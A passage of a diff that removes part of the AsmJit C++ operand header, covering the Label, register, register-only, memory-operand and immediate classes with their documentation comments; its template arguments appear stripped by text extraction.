-//! Label L1 = a.newLabel(); -//! -//! // ... your code ... -//! -//! // Using label. -//! a.jump(L1); -//! -//! // ... your code ... -//! -//! // Bind label to the current position, see `BaseEmitter::bind()`. -//! a.bind(L1); -//! ``` -class Label : public Operand { -public: - //! Type of the Label. - enum LabelType : uint32_t { - //! Anonymous (unnamed) label. - kTypeAnonymous = 0, - //! Local label (always has parentId). - kTypeLocal = 1, - //! Global label (never has parentId). - kTypeGlobal = 2, - //! External label (references an external symbol). - kTypeExternal = 3, - //! Number of label types. - kTypeCount = 4 - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a label operand without ID (you must set the ID to make it valid). - constexpr Label() noexcept - : Operand(Globals::Init, kOpLabel, Globals::kInvalidId, 0, 0) {} - - //! Creates a cloned label operand of `other`. - constexpr Label(const Label& other) noexcept - : Operand(other) {} - - //! Creates a label operand of the given `id`. - constexpr explicit Label(uint32_t id) noexcept - : Operand(Globals::Init, kOpLabel, id, 0, 0) {} - - inline explicit Label(Globals::NoInit_) noexcept - : Operand(Globals::NoInit) {} - - //! Resets the label, will reset all properties and set its ID to `Globals::kInvalidId`. - inline void reset() noexcept { - _signature = kOpLabel; - _baseId = Globals::kInvalidId; - _data[0] = 0; - _data[1] = 0; - } - - //! \} - - //! \name Overloaded Operators - //! \{ - - inline Label& operator=(const Label& other) noexcept = default; - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether the label was created by CodeHolder and/or an attached emitter. - constexpr bool isValid() const noexcept { return _baseId != Globals::kInvalidId; } - //! Sets the label `id`. - inline void setId(uint32_t id) noexcept { _baseId = id; } - - //! \} -}; - -// ============================================================================ -// [asmjit::BaseRegTraits] -// ============================================================================ - -//! \cond INTERNAL -//! Default register traits. -struct BaseRegTraits { - //! RegType is not valid by default. - static constexpr uint32_t kValid = 0; - //! Count of registers (0 if none). - static constexpr uint32_t kCount = 0; - //! Everything is void by default. - static constexpr uint32_t kTypeId = 0; - - //! Zero type by default. - static constexpr uint32_t kType = 0; - //! Zero group by default. - static constexpr uint32_t kGroup = 0; - //! No size by default. - static constexpr uint32_t kSize = 0; - - //! Empty signature by default (not even having operand type set to register). - static constexpr uint32_t kSignature = 0; -}; -//! \endcond - -// ============================================================================ -// [asmjit::BaseReg] -// ============================================================================ - -//! Structure that allows to extract a register information based on the signature. -//! -//! This information is compatible with operand's signature (32-bit integer) -//! and `RegInfo` just provides easy way to access it. -struct RegInfo { - inline void reset(uint32_t signature = 0) noexcept { _signature = signature; } - inline void setSignature(uint32_t signature) noexcept { _signature = signature; } - - template - constexpr uint32_t _getSignaturePart() const noexcept { - return (_signature >> Support::constCtz(mask)) & (mask >> Support::constCtz(mask)); - } - - constexpr bool isValid() const noexcept { return _signature != 0; } - constexpr uint32_t signature() const noexcept { return _signature; } - constexpr uint32_t opType() const noexcept { return _getSignaturePart(); } - constexpr uint32_t group() const noexcept { return _getSignaturePart(); } - constexpr uint32_t type() const noexcept { return _getSignaturePart(); } - constexpr uint32_t size() const noexcept { return _getSignaturePart(); } - - uint32_t _signature; -}; - -//! Physical or virtual register operand. -class BaseReg : public Operand { -public: - static constexpr uint32_t kBaseSignature = - kSignatureOpTypeMask | - kSignatureRegTypeMask | - kSignatureRegGroupMask | - kSignatureSizeMask ; - - //! Architecture neutral register types. - //! - //! These must be reused by any platform that contains that types. All GP - //! and VEC registers are also allowed by design to be part of a BASE|INDEX - //! of a memory operand. - enum RegType : uint32_t { - //! No register - unused, invalid, multiple meanings. - kTypeNone = 0, - - // (1 is used as a LabelTag) - - //! 8-bit low general purpose register (X86). - kTypeGp8Lo = 2, - //! 8-bit high general purpose register (X86). - kTypeGp8Hi = 3, - //! 16-bit general purpose register (X86). - kTypeGp16 = 4, - //! 32-bit general purpose register (X86|ARM). - kTypeGp32 = 5, - //! 64-bit general purpose register (X86|ARM). - kTypeGp64 = 6, - //! 8-bit view of a vector register (ARM). - kTypeVec8 = 7, - //! 16-bit view of a vector register (ARM). - kTypeVec16 = 8, - //! 32-bit view of a vector register (ARM). - kTypeVec32 = 9, - //! 64-bit view of a vector register (ARM). - kTypeVec64 = 10, - //! 128-bit view of a vector register (X86|ARM). - kTypeVec128 = 11, - //! 256-bit view of a vector register (X86). - kTypeVec256 = 12, - //! 512-bit view of a vector register (X86). - kTypeVec512 = 13, - //! 1024-bit view of a vector register (future). - kTypeVec1024 = 14, - //! Other0 register, should match `kOther0` group. - kTypeOther0 = 15, - //! Other1 register, should match `kOther1` group. - kTypeOther1 = 16, - //! Universal id of IP/PC register (if separate). - kTypeIP = 17, - //! Start of platform dependent register types. - kTypeCustom = 18, - //! Maximum possible register type value. - kTypeMax = 31 - }; - - //! Register group (architecture neutral), and some limits. - enum RegGroup : uint32_t { - //! General purpose register group compatible with all backends. - kGroupGp = 0, - //! Vector register group compatible with all backends. - kGroupVec = 1, - //! Group that is architecture dependent. - kGroupOther0 = 2, - //! Group that is architecture dependent. - kGroupOther1 = 3, - //! Count of register groups used by physical and virtual registers. - kGroupVirt = 4, - //! Count of register groups used by physical registers only. - kGroupCount = 16 - }; - - enum Id : uint32_t { - //! None or any register (mostly internal). - kIdBad = 0xFFu - }; - - //! A helper used by constructors. - struct SignatureAndId { - uint32_t _signature; - uint32_t _id; - - inline SignatureAndId() noexcept = default; - constexpr SignatureAndId(const SignatureAndId& other) noexcept = default; - - constexpr explicit SignatureAndId(uint32_t signature, uint32_t id) noexcept - : _signature(signature), - _id(id) {} - - constexpr uint32_t signature() const noexcept { return _signature; } - constexpr uint32_t id() const noexcept { return _id; } - }; - - static constexpr uint32_t kSignature = kOpReg; - - //! \name Construction & Destruction - //! \{ - - //! Creates a dummy register operand. - constexpr BaseReg() noexcept - : Operand(Globals::Init, kSignature, kIdBad, 0, 0) {} - - //! Creates a new register operand which is the same as `other` . - constexpr BaseReg(const BaseReg& other) noexcept - : Operand(other) {} - - //! Creates a new register operand compatible with `other`, but with a different `rId`. - constexpr BaseReg(const BaseReg& other, uint32_t rId) noexcept - : Operand(Globals::Init, other._signature, rId, 0, 0) {} - - //! Creates a register initialized to `signature` and `rId`. - constexpr explicit BaseReg(const SignatureAndId& sid) noexcept - : Operand(Globals::Init, sid._signature, sid._id, 0, 0) {} - - inline explicit BaseReg(Globals::NoInit_) noexcept - : Operand(Globals::NoInit) {} - - /*! Creates a new register from register signature `rSgn` and id. */ - static inline BaseReg fromSignatureAndId(uint32_t rSgn, uint32_t rId) noexcept { - return BaseReg(SignatureAndId(rSgn, rId)); - } - - //! \} - - //! \name Overloaded Operators - //! \{ - - inline BaseReg& operator=(const BaseReg& other) noexcept = default; - - //! \} - - //! \name Accessors - //! \{ - - //! Returns base signature of the register associated with each register type. - //! - //! Base signature only contains the operand type, register type, register - //! group, and register size. It doesn't contain element type, predicate, or - //! other architecture-specific data. Base signature is a signature that is - //! provided by architecture-specific `RegTraits`, like \ref x86::RegTraits. - constexpr uint32_t baseSignature() const noexcept { - return _signature & (kBaseSignature); - } - - //! Tests whether the operand's base signature matches the given signature `sign`. - constexpr bool hasBaseSignature(uint32_t signature) const noexcept { return baseSignature() == signature; } - //! Tests whether the operand's base signature matches the base signature of the `other` operand. - constexpr bool hasBaseSignature(const BaseReg& other) const noexcept { return baseSignature() == other.baseSignature(); } - - //! Tests whether this register is the same as `other`. - //! - //! This is just an optimization. Registers by default only use the first - //! 8 bytes of Operand data, so this method takes advantage of this knowledge - //! and only compares these 8 bytes. If both operands were created correctly - //! both \ref equals() and \ref isSame() should give the same answer, however, - //! if any of these two contains garbage or other metadata in the upper 8 - //! bytes then \ref isSame() may return `true` in cases in which \ref equals() - //! returns false. - constexpr bool isSame(const BaseReg& other) const noexcept { - return (_signature == other._signature) & (_baseId == other._baseId); - } - - //! Tests whether the register is valid (either virtual or physical). - constexpr bool isValid() const noexcept { return (_signature != 0) & (_baseId != kIdBad); } - - //! Tests whether this is a physical register. - constexpr bool isPhysReg() const noexcept { return _baseId < kIdBad; } - //! Tests whether this is a virtual register. - constexpr bool isVirtReg() const noexcept { return _baseId > kIdBad; } - - //! Tests whether the register type matches `type` - same as `isReg(type)`, provided for convenience. - constexpr bool isType(uint32_t type) const noexcept { return (_signature & kSignatureRegTypeMask) == (type << kSignatureRegTypeShift); } - //! Tests whether the register group matches `group`. - constexpr bool isGroup(uint32_t group) const noexcept { return (_signature & kSignatureRegGroupMask) == (group << kSignatureRegGroupShift); } - - //! Tests whether the register is a general purpose register (any size). - constexpr bool isGp() const noexcept { return isGroup(kGroupGp); } - //! Tests whether the register is a vector register. - constexpr bool isVec() const noexcept { return isGroup(kGroupVec); } - - using Operand_::isReg; - - //! Same as `isType()`, provided for convenience. - constexpr bool isReg(uint32_t rType) const noexcept { return isType(rType); } - //! Tests whether the register type matches `type` and register id matches `rId`. - constexpr bool isReg(uint32_t rType, uint32_t rId) const noexcept { return isType(rType) && id() == rId; } - - //! Returns the type of the register. - constexpr uint32_t type() const noexcept { return _getSignaturePart(); } - //! Returns the register group. - constexpr uint32_t group() const noexcept { return _getSignaturePart(); } - - //! Returns operation predicate of the register (ARM/AArch64). - //! - //! The meaning depends on architecture, for example on ARM hardware this - //! describes \ref arm::Predicate::ShiftOp of the register. - constexpr uint32_t predicate() const noexcept { return _getSignaturePart(); } - - //! Sets operation predicate of the register to `predicate` (ARM/AArch64). - //! - //! The meaning depends on architecture, for example on ARM hardware this - //! describes \ref arm::Predicate::ShiftOp of the register. - inline void setPredicate(uint32_t predicate) noexcept { _setSignaturePart(predicate); } - - //! Resets shift operation type of the register to the default value (ARM/AArch64). - inline void resetPredicate() noexcept { _setSignaturePart(0); } - - //! Clones the register operand. - constexpr BaseReg clone() const noexcept { return BaseReg(*this); } - - //! Casts this register to `RegT` by also changing its signature. - //! - //! \note Improper use of `cloneAs()` can lead to hard-to-debug errors. - template - constexpr RegT cloneAs() const noexcept { return RegT(RegT::kSignature, id()); } - - //! Casts this register to `other` by also changing its signature. - //! - //! \note Improper use of `cloneAs()` can lead to hard-to-debug errors. - template - constexpr RegT cloneAs(const RegT& other) const noexcept { return RegT(SignatureAndId(other.signature(), id())); } - - //! Sets the register id to `rId`. - inline void setId(uint32_t rId) noexcept { _baseId = rId; } - - //! Sets a 32-bit operand signature based on traits of `RegT`. - template - inline void setSignatureT() noexcept { _signature = RegT::kSignature; } - - //! Sets the register `signature` and `rId`. - inline void setSignatureAndId(uint32_t signature, uint32_t rId) noexcept { - _signature = signature; - _baseId = rId; - } - - //! \} - - //! \name Static Functions - //! \{ - - //! Tests whether the `op` operand is a general purpose register. - static inline bool isGp(const Operand_& op) noexcept { - // Check operand type and register group. Not interested in register type and size. - const uint32_t kSgn = (kOpReg << kSignatureOpTypeShift ) | - (kGroupGp << kSignatureRegGroupShift) ; - return (op.signature() & (kSignatureOpTypeMask | kSignatureRegGroupMask)) == kSgn; - } - - //! Tests whether the `op` operand is a vector register. - static inline bool isVec(const Operand_& op) noexcept { - // Check operand type and register group. Not interested in register type and size. - const uint32_t kSgn = (kOpReg << kSignatureOpTypeShift ) | - (kGroupVec << kSignatureRegGroupShift) ; - return (op.signature() & (kSignatureOpTypeMask | kSignatureRegGroupMask)) == kSgn; - } - - //! Tests whether the `op` is a general purpose register of the given `rId`. - static inline bool isGp(const Operand_& op, uint32_t rId) noexcept { return isGp(op) & (op.id() == rId); } - //! Tests whether the `op` is a vector register of the given `rId`. - static inline bool isVec(const Operand_& op, uint32_t rId) noexcept { return isVec(op) & (op.id() == rId); } - - //! \} -}; - -// ============================================================================ -// [asmjit::RegOnly] -// ============================================================================ - -//! RegOnly is 8-byte version of `BaseReg` that allows to store either register -//! or nothing. -//! -//! This class was designed to decrease the space consumed by each extra "operand" -//! in `BaseEmitter` and `InstNode` classes. -struct RegOnly { - //! Type of the operand, either `kOpNone` or `kOpReg`. - uint32_t _signature; - //! Physical or virtual register id. - uint32_t _id; - - //! \name Construction & Destruction - //! \{ - - //! Initializes the `RegOnly` instance to hold register `signature` and `id`. - inline void init(uint32_t signature, uint32_t id) noexcept { - _signature = signature; - _id = id; - } - - inline void init(const BaseReg& reg) noexcept { init(reg.signature(), reg.id()); } - inline void init(const RegOnly& reg) noexcept { init(reg.signature(), reg.id()); } - - //! Resets the `RegOnly` members to zeros (none). - inline void reset() noexcept { init(0, 0); } - - //! \} - - //! \name Accessors - //! \{ - - //! Tests whether this ExtraReg is none (same as calling `Operand_::isNone()`). - constexpr bool isNone() const noexcept { return _signature == 0; } - //! Tests whether the register is valid (either virtual or physical). - constexpr bool isReg() const noexcept { return _signature != 0; } - - //! Tests whether this is a physical register. - constexpr bool isPhysReg() const noexcept { return _id < BaseReg::kIdBad; } - //! Tests whether this is a virtual register (used by `BaseCompiler`). - constexpr bool isVirtReg() const noexcept { return _id > BaseReg::kIdBad; } - - //! Returns the register signature or 0 if no register is assigned. - constexpr uint32_t signature() const noexcept { return _signature; } - //! Returns the register id. - //! - //! \note Always check whether the register is assigned before using the - //! returned identifier as non-assigned `RegOnly` instance would return - //! zero id, which is still a valid register id. - constexpr uint32_t id() const noexcept { return _id; } - - //! Sets the register id. - inline void setId(uint32_t id) noexcept { _id = id; } - - //! \cond INTERNAL - //! - //! Extracts information from operand's signature. - template - constexpr uint32_t _getSignaturePart() const noexcept { - return (_signature >> Support::constCtz(mask)) & (mask >> Support::constCtz(mask)); - } - //! \endcond - - //! Returns the type of the register. - constexpr uint32_t type() const noexcept { return _getSignaturePart(); } - //! Returns the register group. - constexpr uint32_t group() const noexcept { return _getSignaturePart(); } - - //! \} - - //! \name Utilities - //! \{ - - //! Converts this ExtraReg to a real `RegT` operand. - template - constexpr RegT toReg() const noexcept { return RegT(BaseReg::SignatureAndId(_signature, _id)); } - - //! \} -}; - -// ============================================================================ -// [asmjit::BaseMem] -// ============================================================================ - -//! Base class for all memory operands. -//! -//! \note It's tricky to pack all possible cases that define a memory operand -//! into just 16 bytes. The `BaseMem` splits data into the following parts: -//! -//! - BASE - Base register or label - requires 36 bits total. 4 bits are used -//! to encode the type of the BASE operand (label vs. register type) and the -//! remaining 32 bits define the BASE id, which can be a physical or virtual -//! register index. If BASE type is zero, which is never used as a register -//! type and label doesn't use it as well then BASE field contains a high -//! DWORD of a possible 64-bit absolute address, which is possible on X64. -//! -//! - INDEX - Index register (or theoretically Label, which doesn't make sense). -//! Encoding is similar to BASE - it also requires 36 bits and splits the -//! encoding to INDEX type (4 bits defining the register type) and id (32-bits). -//! -//! - OFFSET - A relative offset of the address. Basically if BASE is specified -//! the relative displacement adjusts BASE and an optional INDEX. if BASE is -//! not specified then the OFFSET should be considered as ABSOLUTE address (at -//! least on X86). In that case its low 32 bits are stored in DISPLACEMENT -//! field and the remaining high 32 bits are stored in BASE. -//! -//! - OTHER - There is rest 8 bits that can be used for whatever purpose. For -//! example \ref x86::Mem operand uses these bits to store segment override -//! prefix and index shift (or scale). -class BaseMem : public Operand { -public: - //! \cond INTERNAL - //! Used internally to construct `BaseMem` operand from decomposed data. - struct Decomposed { - uint32_t baseType; - uint32_t baseId; - uint32_t indexType; - uint32_t indexId; - int32_t offset; - uint32_t size; - uint32_t flags; - }; - //! \endcond - - //! \name Construction & Destruction - //! \{ - - //! Creates a default `BaseMem` operand, that points to [0]. - constexpr BaseMem() noexcept - : Operand(Globals::Init, kOpMem, 0, 0, 0) {} - - //! Creates a `BaseMem` operand that is a clone of `other`. - constexpr BaseMem(const BaseMem& other) noexcept - : Operand(other) {} - - //! Creates a `BaseMem` operand from `baseReg` and `offset`. - //! - //! \note This is an architecture independent constructor that can be used to - //! create an architecture independent memory operand to be used in portable - //! code that can handle multiple architectures. - constexpr explicit BaseMem(const BaseReg& baseReg, int32_t offset = 0) noexcept - : Operand(Globals::Init, - kOpMem | (baseReg.type() << kSignatureMemBaseTypeShift), - baseReg.id(), - 0, - uint32_t(offset)) {} - - //! \cond INTERNAL - - //! Creates a `BaseMem` operand from 4 integers as used by `Operand_` struct. - constexpr BaseMem(Globals::Init_, uint32_t u0, uint32_t u1, uint32_t u2, uint32_t u3) noexcept - : Operand(Globals::Init, u0, u1, u2, u3) {} - - constexpr BaseMem(const Decomposed& d) noexcept - : Operand(Globals::Init, - kOpMem | (d.baseType << kSignatureMemBaseTypeShift ) - | (d.indexType << kSignatureMemIndexTypeShift) - | (d.size << kSignatureSizeShift ) - | d.flags, - d.baseId, - d.indexId, - uint32_t(d.offset)) {} - - //! \endcond - - //! Creates a completely uninitialized `BaseMem` operand. - inline explicit BaseMem(Globals::NoInit_) noexcept - : Operand(Globals::NoInit) {} - - //! Resets the memory operand - after the reset the memory points to [0]. - inline void reset() noexcept { - _signature = kOpMem; - _baseId = 0; - _data[0] = 0; - _data[1] = 0; - } - - //! \} - - //! \name Overloaded Operators - //! \{ - - inline BaseMem& operator=(const BaseMem& other) noexcept { copyFrom(other); return *this; } - - //! \} - - //! \name Accessors - //! \{ - - //! Clones the memory operand. - constexpr BaseMem clone() const noexcept { return BaseMem(*this); } - - //! Creates a new copy of this memory operand adjusted by `off`. - inline BaseMem cloneAdjusted(int64_t off) const noexcept { - BaseMem result(*this); - result.addOffset(off); - return result; - } - - //! Tests whether this memory operand is a register home (only used by \ref asmjit_compiler) - constexpr bool isRegHome() const noexcept { return _hasSignaturePart(); } - //! Mark this memory operand as register home (only used by \ref asmjit_compiler). - inline void setRegHome() noexcept { _signature |= kSignatureMemRegHomeFlag; } - //! Marks this operand to not be a register home (only used by \ref asmjit_compiler). - inline void clearRegHome() noexcept { _signature &= ~kSignatureMemRegHomeFlag; } - - //! Tests whether the memory operand has a BASE register or label specified. - constexpr bool hasBase() const noexcept { return (_signature & kSignatureMemBaseTypeMask) != 0; } - //! Tests whether the memory operand has an INDEX register specified. - constexpr bool hasIndex() const noexcept { return (_signature & kSignatureMemIndexTypeMask) != 0; } - //! Tests whether the memory operand has BASE or INDEX register. - constexpr bool hasBaseOrIndex() const noexcept { return (_signature & kSignatureMemBaseIndexMask) != 0; } - //! Tests whether the memory operand has BASE and INDEX register. - constexpr bool hasBaseAndIndex() const noexcept { return (_signature & kSignatureMemBaseTypeMask) != 0 && (_signature & kSignatureMemIndexTypeMask) != 0; } - - //! Tests whether the BASE operand is a register (registers start after `kLabelTag`). - constexpr bool hasBaseReg() const noexcept { return (_signature & kSignatureMemBaseTypeMask) > (Label::kLabelTag << kSignatureMemBaseTypeShift); } - //! Tests whether the BASE operand is a label. - constexpr bool hasBaseLabel() const noexcept { return (_signature & kSignatureMemBaseTypeMask) == (Label::kLabelTag << kSignatureMemBaseTypeShift); } - //! Tests whether the INDEX operand is a register (registers start after `kLabelTag`). - constexpr bool hasIndexReg() const noexcept { return (_signature & kSignatureMemIndexTypeMask) > (Label::kLabelTag << kSignatureMemIndexTypeShift); } - - //! Returns the type of the BASE register (0 if this memory operand doesn't - //! use the BASE register). - //! - //! \note If the returned type is one (a value never associated to a register - //! type) the BASE is not register, but it's a label. One equals to `kLabelTag`. - //! You should always check `hasBaseLabel()` before using `baseId()` result. - constexpr uint32_t baseType() const noexcept { return _getSignaturePart(); } - - //! Returns the type of an INDEX register (0 if this memory operand doesn't - //! use the INDEX register). - constexpr uint32_t indexType() const noexcept { return _getSignaturePart(); } - - //! This is used internally for BASE+INDEX validation. - constexpr uint32_t baseAndIndexTypes() const noexcept { return _getSignaturePart(); } - - //! Returns both BASE (4:0 bits) and INDEX (9:5 bits) types combined into a - //! single value. - //! - //! \remarks Returns id of the BASE register or label (if the BASE was - //! specified as label). - constexpr uint32_t baseId() const noexcept { return _baseId; } - - //! Returns the id of the INDEX register. - constexpr uint32_t indexId() const noexcept { return _data[kDataMemIndexId]; } - - //! Sets the id of the BASE register (without modifying its type). - inline void setBaseId(uint32_t rId) noexcept { _baseId = rId; } - //! Sets the id of the INDEX register (without modifying its type). - inline void setIndexId(uint32_t rId) noexcept { _data[kDataMemIndexId] = rId; } - - //! Sets the base register to type and id of the given `base` operand. - inline void setBase(const BaseReg& base) noexcept { return _setBase(base.type(), base.id()); } - //! Sets the index register to type and id of the given `index` operand. - inline void setIndex(const BaseReg& index) noexcept { return _setIndex(index.type(), index.id()); } - - //! \cond INTERNAL - inline void _setBase(uint32_t rType, uint32_t rId) noexcept { - _setSignaturePart(rType); - _baseId = rId; - } - - inline void _setIndex(uint32_t rType, uint32_t rId) noexcept { - _setSignaturePart(rType); - _data[kDataMemIndexId] = rId; - } - //! \endcond - - //! Resets the memory operand's BASE register or label. - inline void resetBase() noexcept { _setBase(0, 0); } - //! Resets the memory operand's INDEX register. - inline void resetIndex() noexcept { _setIndex(0, 0); } - - //! Sets the memory operand size (in bytes). - inline void setSize(uint32_t size) noexcept { _setSignaturePart(size); } - - //! Tests whether the memory operand has a 64-bit offset or absolute address. - //! - //! If this is true then `hasBase()` must always report false. - constexpr bool isOffset64Bit() const noexcept { return baseType() == 0; } - - //! Tests whether the memory operand has a non-zero offset or absolute address. - constexpr bool hasOffset() const noexcept { - return (_data[kDataMemOffsetLo] | uint32_t(_baseId & Support::bitMaskFromBool(isOffset64Bit()))) != 0; - } - - //! Returns either relative offset or absolute address as 64-bit integer. - constexpr int64_t offset() const noexcept { - return isOffset64Bit() ? int64_t(uint64_t(_data[kDataMemOffsetLo]) | (uint64_t(_baseId) << 32)) - : int64_t(int32_t(_data[kDataMemOffsetLo])); // Sign extend 32-bit offset. - } - - //! Returns a 32-bit low part of a 64-bit offset or absolute address. - constexpr int32_t offsetLo32() const noexcept { return int32_t(_data[kDataMemOffsetLo]); } - //! Returns a 32-but high part of a 64-bit offset or absolute address. - //! - //! \note This function is UNSAFE and returns garbage if `isOffset64Bit()` - //! returns false. Never use it blindly without checking it first. - constexpr int32_t offsetHi32() const noexcept { return int32_t(_baseId); } - - //! Sets a 64-bit offset or an absolute address to `offset`. - //! - //! \note This functions attempts to set both high and low parts of a 64-bit - //! offset, however, if the operand has a BASE register it will store only the - //! low 32 bits of the offset / address as there is no way to store both BASE - //! and 64-bit offset, and there is currently no architecture that has such - //! capability targeted by AsmJit. - inline void setOffset(int64_t offset) noexcept { - uint32_t lo = uint32_t(uint64_t(offset) & 0xFFFFFFFFu); - uint32_t hi = uint32_t(uint64_t(offset) >> 32); - uint32_t hiMsk = Support::bitMaskFromBool(isOffset64Bit()); - - _data[kDataMemOffsetLo] = lo; - _baseId = (hi & hiMsk) | (_baseId & ~hiMsk); - } - //! Sets a low 32-bit offset to `offset` (don't use without knowing how BaseMem works). - inline void setOffsetLo32(int32_t offset) noexcept { _data[kDataMemOffsetLo] = uint32_t(offset); } - - //! Adjusts the offset by `offset`. - //! - //! \note This is a fast function that doesn't use the HI 32-bits of a - //! 64-bit offset. Use it only if you know that there is a BASE register - //! and the offset is only 32 bits anyway. - - //! Adjusts the memory operand offset by a `offset`. - inline void addOffset(int64_t offset) noexcept { - if (isOffset64Bit()) { - int64_t result = offset + int64_t(uint64_t(_data[kDataMemOffsetLo]) | (uint64_t(_baseId) << 32)); - _data[kDataMemOffsetLo] = uint32_t(uint64_t(result) & 0xFFFFFFFFu); - _baseId = uint32_t(uint64_t(result) >> 32); - } - else { - _data[kDataMemOffsetLo] += uint32_t(uint64_t(offset) & 0xFFFFFFFFu); - } - } - - //! Adds `offset` to a low 32-bit offset part (don't use without knowing how - //! BaseMem works). - inline void addOffsetLo32(int32_t offset) noexcept { _data[kDataMemOffsetLo] += uint32_t(offset); } - - //! Resets the memory offset to zero. - inline void resetOffset() noexcept { setOffset(0); } - - //! Resets the lo part of the memory offset to zero (don't use without knowing - //! how BaseMem works). - inline void resetOffsetLo32() noexcept { setOffsetLo32(0); } - - //! \} -}; - -// ============================================================================ -// [asmjit::Imm] -// ============================================================================ - -//! Immediate operand. -//! -//! Immediate operand is usually part of instruction itself. It's inlined after -//! or before the instruction opcode. Immediates can be only signed or unsigned -//! integers. -//! -//! To create an immediate operand use `asmjit::imm()` helper, which can be used -//! with any type, not just the default 64-bit int. -class Imm : public Operand { -public: - //! Type of the immediate. - enum Type : uint32_t { - //! Immediate is integer. - kTypeInteger = 0, - //! Immediate is a floating point stored as double-precision. - kTypeDouble = 1 - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new immediate value (initial value is 0). - inline constexpr Imm() noexcept - : Operand(Globals::Init, kOpImm, 0, 0, 0) {} - - //! Creates a new immediate value from `other`. - inline constexpr Imm(const Imm& other) noexcept - : Operand(other) {} - - //! Creates a new immediate value from ARM/AArch64 specific `shift`. - inline constexpr Imm(const arm::Shift& shift) noexcept - : Operand(Globals::Init, kOpImm | (shift.op() << kSignaturePredicateShift), - 0, - Support::unpackU32At0(shift.value()), - Support::unpackU32At1(shift.value())) {} - - //! Creates a new signed immediate value, assigning the value to `val` and - //! an architecture-specific predicate to `predicate`. - //! - //! \note Predicate is currently only used by ARM architectures. - template - inline constexpr Imm(const T& val, const uint32_t predicate = 0) noexcept - : Operand(Globals::Init, kOpImm | (predicate << kSignaturePredicateShift), - 0, - Support::unpackU32At0(int64_t(val)), - Support::unpackU32At1(int64_t(val))) {} - - inline Imm(const float& val, const uint32_t predicate = 0) noexcept - : Operand(Globals::Init, kOpImm | (predicate << kSignaturePredicateShift), 0, 0, 0) { setValue(val); } - - inline Imm(const double& val, const uint32_t predicate = 0) noexcept - : Operand(Globals::Init, kOpImm | (predicate << kSignaturePredicateShift), 0, 0, 0) { setValue(val); } - - inline explicit Imm(Globals::NoInit_) noexcept - : Operand(Globals::NoInit) {} - - //! \} - - //! \name Overloaded Operators - //! \{ - - //! Assigns the value of the `other` operand to this immediate. - inline Imm& operator=(const Imm& other) noexcept { copyFrom(other); return *this; } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns immediate type, see \ref Type. - constexpr uint32_t type() const noexcept { return _getSignaturePart(); } - //! Sets the immediate type to `type`, see \ref Type. - inline void setType(uint32_t type) noexcept { _setSignaturePart(type); } - //! Resets immediate type to `kTypeInteger`. - inline void resetType() noexcept { setType(kTypeInteger); } - - //! Returns operation predicate of the immediate. - //! - //! The meaning depends on architecture, for example on ARM hardware this - //! describes \ref arm::Predicate::ShiftOp of the immediate. - constexpr uint32_t predicate() const noexcept { return _getSignaturePart(); } - - //! Sets operation predicate of the immediate to `predicate`. - //! - //! The meaning depends on architecture, for example on ARM hardware this - //! describes \ref arm::Predicate::ShiftOp of the immediate. - inline void setPredicate(uint32_t predicate) noexcept { _setSignaturePart(predicate); } - - //! Resets the shift operation type of the immediate to the default value (no operation). - inline void resetPredicate() noexcept { _setSignaturePart(0); } - - //! Returns the immediate value as `int64_t`, which is the internal format Imm uses. - constexpr int64_t value() const noexcept { - return int64_t((uint64_t(_data[kDataImmValueHi]) << 32) | _data[kDataImmValueLo]); - } - - //! Tests whether this immediate value is integer of any size. - constexpr uint32_t isInteger() const noexcept { return type() == kTypeInteger; } - //! Tests whether this immediate value is a double precision floating point value. - constexpr uint32_t isDouble() const noexcept { return type() == kTypeDouble; } - - //! Tests whether the immediate can be casted to 8-bit signed integer. - constexpr bool isInt8() const noexcept { return type() == kTypeInteger && Support::isInt8(value()); } - //! Tests whether the immediate can be casted to 8-bit unsigned integer. - constexpr bool isUInt8() const noexcept { return type() == kTypeInteger && Support::isUInt8(value()); } - //! Tests whether the immediate can be casted to 16-bit signed integer. - constexpr bool isInt16() const noexcept { return type() == kTypeInteger && Support::isInt16(value()); } - //! Tests whether the immediate can be casted to 16-bit unsigned integer. - constexpr bool isUInt16() const noexcept { return type() == kTypeInteger && Support::isUInt16(value()); } - //! Tests whether the immediate can be casted to 32-bit signed integer. - constexpr bool isInt32() const noexcept { return type() == kTypeInteger && Support::isInt32(value()); } - //! Tests whether the immediate can be casted to 32-bit unsigned integer. - constexpr bool isUInt32() const noexcept { return type() == kTypeInteger && _data[kDataImmValueHi] == 0; } - - //! Returns the immediate value casted to `T`. - //! - //! The value is masked before it's casted to `T` so the returned value is - //! simply the representation of `T` considering the original value's lowest - //! bits. - template - inline T valueAs() const noexcept { return Support::immediateToT(value()); } - - //! Returns low 32-bit signed integer. - constexpr int32_t int32Lo() const noexcept { return int32_t(_data[kDataImmValueLo]); } - //! Returns high 32-bit signed integer. - constexpr int32_t int32Hi() const noexcept { return int32_t(_data[kDataImmValueHi]); } - //! Returns low 32-bit signed integer. - constexpr uint32_t uint32Lo() const noexcept { return _data[kDataImmValueLo]; } - //! Returns high 32-bit signed integer. - constexpr uint32_t uint32Hi() const noexcept { return _data[kDataImmValueHi]; } - - //! Sets immediate value to `val`, the value is casted to a signed 64-bit integer. - template - inline void setValue(const T& val) noexcept { - _setValueInternal(Support::immediateFromT(val), std::is_floating_point::value ? kTypeDouble : kTypeInteger); - } - - inline void _setValueInternal(int64_t val, uint32_t type) noexcept { - setType(type); - _data[kDataImmValueHi] = uint32_t(uint64_t(val) >> 32); - _data[kDataImmValueLo] = uint32_t(uint64_t(val) & 0xFFFFFFFFu); - } - - //! \} - - //! \name Utilities - //! \{ - - //! Clones the immediate operand. - constexpr Imm clone() const noexcept { return Imm(*this); } - - inline void signExtend8Bits() noexcept { setValue(int64_t(valueAs())); } - inline void signExtend16Bits() noexcept { setValue(int64_t(valueAs())); } - inline void signExtend32Bits() noexcept { setValue(int64_t(valueAs())); } - - inline void zeroExtend8Bits() noexcept { setValue(valueAs()); } - inline void zeroExtend16Bits() noexcept { setValue(valueAs()); } - inline void zeroExtend32Bits() noexcept { _data[kDataImmValueHi] = 0u; } - - //! \} - -#ifndef ASMJIT_NO_DEPRECATED - ASMJIT_DEPRECATED("Use valueAs() instead") - inline int8_t i8() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline uint8_t u8() const noexcept { return valueAs(); } - - ASMJIT_DEPRECATED("Use valueAs() instead") - inline int16_t i16() const noexcept { return valueAs(); } - - 